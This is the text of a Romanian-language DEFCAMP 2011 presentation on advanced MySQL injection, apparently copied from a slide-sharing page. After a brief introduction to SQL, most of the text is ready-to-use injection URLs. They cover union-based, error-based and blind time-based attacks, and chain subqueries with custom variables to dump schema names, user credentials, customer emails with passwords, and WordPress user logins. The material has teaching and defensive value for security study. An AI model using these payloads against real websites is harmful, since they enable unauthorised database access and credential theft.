advanced data mining in my sql injections using subqueries and custom variables

“Advanced Data Mining in MySQL Injections using Subqueries & Custom Variables”

DEFCAMP – 2011

Advanced Data Mining in MySQL Injections using Subqueries & Custom Variables_______________________________________________________________________

- CUPRINS - [ * ] Notiuni introductive: SQL , Injectii SQL

[ * ] Variabile Particularizate si Sub-Interogari in MySQL

[ * ] Optimizarea tehnicilor clasice de extragere a informatiilor : - variabile MySQL ( Server System Variables / Session Variables ) - bazele de date disponibile ( schema_name / SCHEMATA ) - tabelele si coloanele aferente acestora ( table_name / column_name )

- privilegii ( USER_PRIVILEGES : GRANTEE/PRIVILEGE_TYPE/IS_GRANTABLE )

- citirea & scrierea fisierelor ( LOAD_FILE / INTO DUMPFILE - OUTFILE)

- atacuri Denial of Service ( DOS )


Structured Query Language (SQL - limbajul structurat de interogare) este limbajul standard folosit pentru manipularea si regasirea datelor din baze de date relationale. Prin SQL, un programator sau un administrator de baze de date poate face urmatoarele lucruri:

* sa modifice structura unei baze de date ; * sa schimbe valorile de configurare pentru securitatea sistemului; * sa adauge drepturi utilizatorilor asupra bazelor de date sau tabelelor; * sa interogheze o baza de date asupra unor informatii; * sa actualizeze continutul unei baze de date.


Cum functioneaza PHP + MySQL ?

< request-ul efectuat de catre client

< procesarea request-ului la nivel de server

< raspunsul trimis catre client ca rezultat al cererii


What could possibly go wrong ?

!!!!!!


SQL Injections ( Injectii SQL ) – tehnica de malformare a sintaxei SQL datorata modificarii valorilor parametrilor $_GET, $_POST, cookies, headers, ce sunt preluate si prelucrate de fisierele server-side fara a filtra in prealabil caractere sau comenzi ce pot fi periculoase.


Exemplu de injectie MySQL clasica.


index.php?id=-1+UNION+SELECT+1,convert(@@version using latin1),3,4,5--

Tipuri de injectii SQL : UNION BASED

index.php?id=1’ and 2=4 UNION SELECT 1,2,3,4,5,6,7,8,9,10 --

index.php?poze=vedete"+and+false+union+all+select+1,2,version(),4,5,6+and+"1"="1

index.php? id=-1/*!AND*/1=1+UNiOn+ALl+SelECt+1,/**/2,/**/3,/**/4/**/limit/**/1,2

index.php?id=1+and+1=0+union+select+ sql_no_cache+1,2,3,4,5


Tipuri de injectii SQL : UNION BASED


Tipuri de injectii SQL : ERROR BASED

index.php?id=(@:=1)||@+group+by+concat(@@version,!@)having@||min(@:=0)--+

Index.php?id=53+OR+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SELECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID((select+concat_ws(0x3a,version(),database(),user())),1,63),+FLOOR(RAND(0)*2)))+--+

news.php?id=589'+or+1+group+by+concat((select+version()),floor(rand(0)*2))+having+min(0)+or+1-- +

details.php?ID=9 or (select count(*) from mysql.user group by concat(version(),floor(rand(0)*2)))--

?productid=1124+and+row(1,2)in(select+count(*),concat((select+table_name+from+information_schema.tables+limit+3,1),0x3a,floor(rand(0)*2))as+a+from+information_schema.tables+x+group+by+a)--


Tipuri de injectii SQL : ERROR BASED


Tipuri de injectii SQL : BLINDindex.php?id=1’ and substring(@@version,1,1)=4--index.php?id=1’ and substring(@@version,1,1)=5--

index.php?id=1 and (SELECT 1 from admin limit 0,1)=1

news.php?id = -1 'OR id = IF(ASCII(SUBSTRING (SELECT USER ()), 1, 1 )))>= 100, 1, SLEEP (3))

index.html?mdl=5020+and+ascii(lower(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1 )))>1index.php?id=1 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>103

script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) –

script.php?par=1 and IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --


Tipuri de injectii SQL : BLIND


MySQL Custom Variables (Variabile Particularizate)


MySQL Sub-Queries (Sub-Interogari)

SELECT * FROM t1 WHERE column1 = (SELECT column1 FROM t2);


Injectii MySQL - folosind Custom Variables :CLASIC SYNTAX : index.php?id=2’+and+1=0+union+select+1,2,3,4,5--

NEW SYNTAX: index.php?id=2’+and+1=0+union+select+@i:=version(),@i,@i,@i,@i--

@i:=concat( version(),0x3a,database() )

@i:=cast(version()+as+binary)

@i:=convert(version(),binary)

@i:=convert(version()+using+latin1)

@i:=aes_decrypt(aes_encrypt(version(),1),1)

@x:=concat(0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name)


Injectii MySQL - folosind SubQueries :

index.php?id = -1+union+select+*+from+users,(select+1,2,3,4,5,6)a--

id=3 AND (SELECT 7574 FROM(SELECT COUNT(*) ,CONCAT(CHAR(58,103,104,115,58),(SELECT (CASE WHEN (7574=7574) THEN 1 ELSE 0 END)), CHAR(58,101,118,118,58), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

index.php?id=-1+union+(select 1,2,3,4,5 order by 1 where 1=2) UNION (select 1,2,3,4,5)--+--X


Injectii MySQL - folosind SubQueries + Custom Variables :

index.php?id=-4 union select 1,2,(select(@x) from(select(@x:=0x00) , (select (null) from (information_schema.columns) where (table_schema!=‘information_schema’) and (0x00) in (@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4--

index.php?id=-1 Union select 1,2, concat(@i:=0x00,@o:=0x0d0a, benchmark(150, @o:=CONCAT(@o,0x0d0a,(SELECT+concat(@i:=mail,0x3a,password)+from+customers+WHERE+mail > @i+order+by+mail+LIMIT+1+))),o),4

index.php?id=-7’ union (select * from (select @i:=version())q join (select @i)w join (select @i)e join (select @i)r join (select @i)t join (select @i)y join (select @i)u join (select @i)i join (select @i)o)--+--qwertyxxxxxxxx


Injectii MySQL - folosind SubQueries + Custom Variables :

index.php?id=2'+and+1=0+union+select+1,2,3,4,concat(@i:=0x00,@o:=0xd0a,benchmark(1010370,@o:=CONCAT(@o,0xd0a,(SELECT+concat(0x3c62723e,@i:=user_login)+FROM+wp_users+WHERE+user_login>@i+order+by+user_login+LIMIT+1))),@o),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables--

………

advanced data mining in my sql injections using subqueries and custom variables

Technology